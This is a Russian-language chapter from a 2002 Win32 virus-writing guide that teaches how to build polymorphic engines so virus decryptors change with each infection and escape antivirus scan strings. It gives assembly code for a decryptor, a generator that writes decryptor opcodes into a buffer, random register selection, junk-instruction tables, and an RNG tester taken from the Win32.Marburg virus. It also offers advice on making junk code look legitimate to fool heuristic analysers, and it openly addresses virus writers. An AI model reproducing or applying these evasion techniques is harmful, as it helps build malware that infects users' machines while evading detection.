Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм

Дата публикации 1 ноя 2002

Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм — Архив WASM.RU

Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!

Введение

Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.

Уровни полиморфизма

У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.

Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".

Примеры: "Cheeba", "Slovakia", "Whale".

Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.

Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.

Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.

Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.

Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.

У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:

Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок

Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".

Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.

Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным

Уровень 5: невозможность обнаружения вируса с помощью масок.

Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.

Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

1. Степерь сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :smile3:

Как я могу сделать полиморф?

Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

Код (Text):
  1.  
  2.         mov     ecx,virus_size
  3.         lea     edi,pointer_to_code_to_crypt
  4.         mov     eax,crypt_key
  5.  @@1:   xor     dword ptr [edi],eax
  6.         add     edi,4
  7.         loop    @@1

Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:

Код (Text):
  1.  
  2.         shl     eax,2
  3.         add     ebx,157637369h
  4.         imul    eax,ebx,69
  5.  (*)    mov     ecx,virus_size
  6.         rcl     esi,1
  7.         cli
  8.  (*)    lea     edi,pointer_to_code_to_crypt
  9.         xchg    eax,esi
  10.  (*)    mov     eax,crypt_key
  11.         mov     esi,22132546h
  12.         and     ebx,0FF242569h
  13.  (*)    xor     dword ptr [edi],eax
  14.         or      eax,34548286h
  15.         add     esi,76869678h
  16.  (*)    add     edi,4
  17.         stc
  18.         push    eax
  19.         xor     edx,24564631h
  20.         pop     esi
  21.  (*)    loop    00401013h
  22.         cmc
  23.         or      edx,132h
  24.         [...]

Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

Очень важная вещь: ГСЧ

Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

Код (Text):
  1.  
  2.  random:
  3.         in      eax,40h
  4.         ret

Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Тестировщик ГСЧ
  5. ;  ---------------
  6. ;
  7. ; Если иконки на экране расположены действительно "случайным" образом, значит,
  8. ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы
  9. ; заметили странную последовательность в расположении иконок на экране,
  10. ; попробуйте другой ГСЧ.
  11. ;
  12.  
  13.  
  14.         .386
  15.         .model  flat
  16.  
  17. res_x   equ     800d                            ; Горизонтальное разрешение
  18. res_y   equ     600d                            ; Вертикальное разрешение
  19.  
  20. extrn   LoadLibraryA:PROC                       ; Все APIs, которые нужны
  21. extrn   LoadIconA:PROC                          ; тестировщику ГСЧ
  22. extrn   DrawIcon:PROC
  23. extrn   GetDC:PROC
  24. extrn   GetProcAddress:PROC
  25. extrn   GetTickCount:PROC
  26. extrn   ExitProcess:PROC
  27.  
  28.         .data
  29.  
  30. szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz-строка
  31.  
  32. a_User32        dd      00000000h               ; Требуемые переменные
  33. h_icon          dd      00000000h
  34. dc_screen       dd      00000000h
  35. rnd32_seed      dd      00000000h
  36. rdtsc           equ     <dw 310Fh>
  37.  
  38.         .code
  39.  
  40. RNG_test:
  41.         xor     ebp,ebp                         ; Вах, я ленив и не удалил
  42.                                                 ; индексацию из кода...
  43.                                                 ; Есть проблемы?
  44.  
  45.         rdtsc
  46.         mov     dword ptr [ebp+rnd32_seed],eax
  47.  
  48.         lea     eax,dword ptr [ebp+szUSER32]
  49.         push    eax
  50.         call    LoadLibraryA
  51.  
  52.         or      eax,eax
  53.         jz      exit_payload
  54.  
  55.         mov     dword ptr [ebp+a_User32],eax
  56.  
  57.         push    32512
  58.         xor     edx,edx
  59.         push    edx
  60.         call    LoadIconA
  61.         or      eax,eax
  62.         jz      exit_payload
  63.  
  64.         mov     dword ptr [ebp+h_icon],eax
  65.  
  66.         xor     edx,edx
  67.         push    edx
  68.         call    GetDC
  69.         or      eax,eax
  70.         jz      exit_payload
  71.         mov     dword ptr [ebp+dc_screen],eax
  72.  
  73.         mov     ecx,00000100h                   ; Помещаем 256 иконок на экран
  74.  
  75. loop_payload:
  76.  
  77.         push    eax
  78.         push    ecx
  79.         mov     edx,eax
  80.         push    dword ptr [ebp+h_icon]
  81.         mov     eax,res_y
  82.         call    get_rnd_range
  83.         push    eax
  84.         mov     eax,res_x
  85.         call    get_rnd_range
  86.         push    eax
  87.         push    dword ptr [ebp+dc_screen]
  88.         call    DrawIcon
  89.         pop     ecx
  90.         pop     eax
  91.         loop    loop_payload
  92.  
  93. exit_payload:
  94.         push    0
  95.         call    ExitProcess
  96.  
  97. ; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg)
  98. ;
  99. ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;)
  100. ;
  101.  
  102. random  proc
  103.         push    ecx
  104.         push    edx
  105.         mov     eax,dword ptr [ebp+rnd32_seed]
  106.         mov     ecx,eax
  107.         imul    eax,41C64E6Dh
  108.         add     eax,00003039h
  109.         mov     dword ptr [ebp+rnd32_seed],eax
  110.         xor     eax,ecx
  111.         pop     edx
  112.         pop     ecx
  113.         ret
  114. random  endp
  115.  
  116. get_rnd_range proc
  117.         push    ecx
  118.         push    edx
  119.         mov     ecx,eax
  120.         call    random
  121.         xor     edx,edx
  122.         div     ecx
  123.         mov     eax,edx
  124.         pop     edx
  125.         pop     ecx
  126.         ret
  127. get_rnd_range endp
  128.  
  129. end     RNG_test
  130.  
  131. ;---[ CUT HERE ]-------------------------------------------------------------

Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :smile3:.

Основные концепции полиморфного движка

Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Silly PER basic demonstrations (I)
  5. ;  ----------------------------------
  6. ;
  7.  
  8.         .386                                    ; Blah
  9.         .model  flat
  10.  
  11.         .data
  12.  
  13. shit:
  14.  
  15. buffer  db      00h
  16.  
  17.         .code
  18.  
  19. Silly_I:
  20.  
  21.         lea     edi,buffer       ; Указатель на буфер
  22.         mov     al,0C3h          ; Байт, который нужно записать, находится в AL
  23.         stosb                    ; Записать содержимое AL туда, куда указывает
  24.                                  ; EDI
  25.         jmp     shit             ; Байт, который мы записали, C3, является
  26.                                  ; опкодом инструкции RET, т.е. мы заканчиваем
  27.                                  ; выполнение
  28.  
  29. end     Silly_I
  30.  
  31. ;---[ CUT HERE ]-------------------------------------------------------------

Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:

Код (Text):
  1.  
  2.         mov     ecx,virus_size
  3.         mov     edi,offset crypt
  4.         mov     eax,crypt_key
  5.  @@1:   xor     dword ptr [edi],eax
  6.         add     edi,4
  7.         loop    @@1

Соответствено, код для генерации декриптора с нуля будет примерно следующим:

Код (Text):
  1.  
  2.         mov     al,0B9h             ; опкод MOV ECX,imm32
  3.         stosb                       ; сохраняем AL, куда указывает EDI
  4.         mov     eax,virus_size      ; Число, которое нужно сохранить
  5.         stosd                       ; сохранить EAX, куда указывает EDI
  6.         mov     al,0BFh             : опкод MOV EDI,offset32
  7.         stosb                       ; сохраняем AL, куда указывает EDI
  8.         mov     eax,offset crypt    ; 32-х битное сохраняемое смещение
  9.         stosd                       ; сохраняем EAX, куда указывает EDI
  10.         mov     al,0B8h             ; опкод MOV EAX,imm32
  11.         stosb                       ; сохраняем AL, куда указывает EDI
  12.         mov     eax,crypt_key       ; Imm32, который нужно сохранить
  13.         stosd                       ; сохраняем EAX, куда указывает EDI
  14.         mov     ax,0731h            ; опкод XOR [EDI],EAX
  15.         stosw                       ; сохраняем AX, куда указывает EDI
  16.         mov     ax,0C783h           ; опкод ADD EDI,imm32 (>7F)
  17.         stosw                       ; сохраняем AX, куда указывает EDI
  18.         mov     al,04h              ; Сохраняемый Imm32 (>7F)
  19.         stosb                       ; сохраняем AL, куда указывает EDI
  20.         mov     ax,0F9E2h           ; опкод LOOP @@1
  21.         stosw                       ; сохраняем AX, куда указывает EDI

Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ;
  4. ; Silly PER basic demonstrations (II)
  5. ;  -----------------------------------
  6. ;
  7.  
  8.         .386                                    ; Blah
  9.         .model  flat
  10.  
  11. virus_size      equ     12345678h               ; Фальшивые данные
  12. crypt           equ     87654321h
  13. crypt_key       equ     21436587h
  14.  
  15.         .data
  16.  
  17.         db      00h
  18.  
  19.         .code
  20.  
  21. Silly_II:
  22.  
  23.         lea     edi,buffer                  ; Указатель на буфер - это код
  24.                                             ; возврата, мы заканчиваем
  25.                                             ; выполнение
  26.  
  27.         mov     al,0B9h                     ; Опкод MOV ECX,imm32
  28.         stosb                               ; Сохранить AL, куда указ. EDI
  29.         mov     eax,virus_size              ; Непоср. знач., к-рое нужно сохр.
  30.         stosd                               ; Сохр. EAX, куда указывает EDI
  31.  
  32.         call    onebyte
  33.  
  34.         mov     al,0BFh                     ; Опкод MOV EDI, offset32
  35.         stosb                               ; Сохр. AL, куда указывает EDI
  36.         mov     eax,crypt                   ; Offset32, который нужно сохранить
  37.         stosd                               ; Сохр. EAX, куда указывает EDI
  38.  
  39.         call    onebyte
  40.  
  41.         mov     al,0B8h                     ; MOV EAX,imm32
  42.         stosb                               ; Сохр. AL, куда указывает EDI
  43.         mov     eax,crypt_key
  44.         stosd                               ; Сохр. EAX, куда указывает EDI
  45.  
  46.         call    onebyte
  47.  
  48.         mov     ax,0731h                    ; Опкод XOR [EDI],EAX
  49.         stosw                               ; Сохр. AX, куда указывает EDI
  50.  
  51.         mov     ax,0C783h                   ; Опкод ADD EDI,imm32 (>7F)
  52.         stosw                               ; Сохр. AX, куда указывает EDI
  53.         mov     al,04h                      ; Imm32 (>7F), который нужно сохр.
  54.         stosb                               ; Сохр. AL, куда указывает EDI
  55.  
  56.         mov     ax,0F9E2h                   ; Опкод LOOP @@1
  57.         stosw                               ; Сохр. AX, куда указывает EDI
  58.  
  59.         ret
  60.  
  61. random:
  62.         in      eax,40h                     ; Чертов RNG
  63.         ret
  64.  
  65. onebyte:
  66.         call    random                      ; Получаем случайное число
  67.         and     eax,one_size                ; Сделать его равным [0..7]
  68.         mov     al,[one_table+eax]          ; Получить опкод в AL
  69.         stosb                               ; Сохр. AL, куда указывает EDI
  70.         ret
  71.  
  72. one_table       label byte                  ; Таблица однобайтных инструкций
  73.         lahf
  74.         sahf
  75.         cbw
  76.         clc
  77.         stc
  78.         cmc
  79.         cld
  80.         nop
  81. one_size        equ     ($-offset one_table)-1
  82.  
  83. buffer  db      100h dup (90h)              ; Простой буфер
  84.  
  85. end     Silly_II
  86.  
  87. ;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.

Генерация "настоящего" кода

Давайте взглянем на наш набор инструкций.

Код (Text):
  1.  
  2.         mov     ecx,virus_size                  ; (1)
  3.         lea     edi,crypt                       ; (2)
  4.         mov     eax,crypt_key                   ; (3)
  5.  @@1:   xor     dword ptr [edi],eax             ; (4)
  6.         add     edi,4                           ; (5)
  7.         loop    @@1                             ; (6)

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

Код (Text):
  1.  
  2.         mov     ecx,virus_size

или

Код (Text):
  1.  
  2.         push    virus_size
  3.         pop     ecx

или

Код (Text):
  1.  
  2.         mov     ecx,not (virus_size)
  3.         not     ecx

или

Код (Text):
  1.  
  2.         mov     ecx,(virus_size xor 12345678h)
  3.         xor     ecx,12345678h

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:

Код (Text):
  1.  
  2.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3.  InitPoly       proc
  4.  
  5.  @@1:   mov     eax,8                           ; Получить случайный регистр
  6.         call    r_range                         ; EAX := [0..7]
  7.  
  8.         cmp     eax,4                           ; Это ESP?
  9.         jz      @@1                             ; Если да, получаем другой
  10.  
  11.         mov     byte ptr [ebp+base],al          ; Сохраняем его
  12.         mov     ebx,eax                         ; EBX = базовый регистр
  13.  
  14.  @@2:   mov     eax,8                           ; Получаем случайный регистр
  15.         call    r_range                         ; EAX := [0..7]
  16.  
  17.         cmp     eax,4                           ; Это ESP?
  18.         jz      @@2                             ; Если да, получаем другой
  19.  
  20.         cmp     eax,ebx                         ; Равен базовому указателю?
  21.         jz      @@2                             ; Если да, получаем другой
  22.  
  23.         mov     byte ptr [ebp+count],al         ; Сохраняем его
  24.         mov     ecx,eax                         ; ECX = Регистр-счетчик
  25.  
  26.  @@3:   mov     eax,8                           ; Получаем случайный регистр
  27.         call    r_range                         ; EAX := [0..7]
  28.  
  29.         cmp     eax,4                           ; Это ESP?
  30.         jz      @@3                             ; Если да, получаем другой
  31.  
  32.         cmp     eax,ebx                         ; Равен регистру базового указ.?
  33.         jz      @@3                             ; Если да, получаем другой
  34.  
  35.         cmp     eax,ecx                         ; Равен регистру-счетчику?
  36.         jz      @@3                             ; Если да, получаем другой
  37.  
  38.         mov     byte ptr [ebp+key],al           ; Сохраняем его
  39.  
  40.         ret
  41.  
  42.  InitPoly       endp
  43.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

Генерация мусора

Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

Ок, тогда давай начнет:

¦ Общее для обоих случаев:

- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

¦ Реалистичность:

"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:

Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:

Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.

• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Дальше идет немного менталдриллизма :smile3:.

• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

Код (Text):
  1.  
  2.         fwait
  3.         fninit

Генерация инструкций

Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:

Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

Код (Text):
  1.  
  2.         xor     edx,12345678h -> 81 F2 78563412
  3.         xor     esi,12345678h -> 81 F6 78563412

Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

Код (Text):
  1.  
  2.         F2 -> 11 110 010
  3.         F6 -> 11 110 110

Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

Код (Text):
  1.  
  2.         010 -> EDX
  3.         110 -> ESI

Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

Рекурсивность

Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

Код (Text):
  1.  
  2.  PolyTable:
  3.         dd      offset (GenerateMOV)
  4.         dd      offset (GenerateCALL)
  5.         dd      offset (GeneratteJMP)
  6.         [...]
  7.  EndPolyTable:

И представьте, что у вас есть следующая процедура для выбора между ними:

Код (Text):
  1.  
  2.  GenGarbage:
  3.         mov     eax,EndPolyTable-PolyTable
  4.         call    r_range
  5.         lea     ebx,[ebp+PolyTable]
  6.         mov     eax,[ebx+eax*4]
  7.         add     eax,ebp
  8.         call    eax
  9.         ret

Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

Код (Text):
  1.  
  2.  GenGarbage:
  3.         inc     byte ptr [ebp+recursion_level]
  4.         cmp     byte ptr [ebp+recursion_level],05 ; &lt;- 5 - это уровень
